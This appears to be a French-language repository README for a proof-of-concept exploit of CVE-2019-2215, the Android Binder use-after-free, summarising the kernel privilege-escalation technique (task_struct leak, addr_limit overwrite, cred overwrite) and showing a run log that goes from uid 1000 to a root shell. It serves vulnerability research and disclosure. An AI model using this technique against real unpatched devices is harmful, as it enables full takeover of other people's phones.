wired0ut/cve-2019-2215Exploit complet pour la vulnérabilité Android Bad Binder trouvée sur les premiers téléphones Google Pixel.
Exploit pour la vulnérabilité Bad Binder dans Android écrit par @wired0ut.
Il abuse de l'UAF pour fuiter task_struct, puis écrase addr_limit et élève les privilèges en écrasant le bloc id dans cred.
Le flux complet de la recherche et de l'exploitation peut être trouvé ici (série de 3 parties).
Il a été testé sur le noyau Android goldfish (arm64), version 4.14, avec le patch réintroduit.
Exemple d'exécution :
~ $ whoami
whoami: unknown uid 1000
~ $ ./poc
[!] Starting first phase of exploit; task_struct leak...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Filling pipes to block...
[!] Filling the iovecs to be overwritten...
[!] Entering blocked state...
[!] Triggering UAF...
[!] Left blocked state, it means we have signaled to not hang.
[*] Leaked task_struct @ 0xffffffc0fb3f0d80
[*] Successfully leaked task_struct ptr, now overwriting addr_limit...
[!] Pre-writing 1 byte to socket to advance iovec iterator to 12th...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Creating msghdr with crafted iovecs...
[!] Entering recvmsg(...), should block until UAF...
[!] Triggering UAF...
[!] Overwriting addr_limit @ 0xffffffc0fb3f0d88 with 0xfffffffffffffffe
[*] addr_limit overwritten, leaking cred ptr @ 0xffffffc0fb3f1440
[*] cred_ptr @ 0xffffffc0fa45a300
[*] Overwriting entire id block in cred from 0xffffffc0fa45a304 to 0xffffffc0fa45a324
[*] You should now be r00t...
[*] getuid(): 0
[*] w00t w00t
/bin/sh: can't access tty; job control turned off
/ # whoami
whoami: unknown uid 0
Pour toute information supplémentaire ou demande, contactez-moi.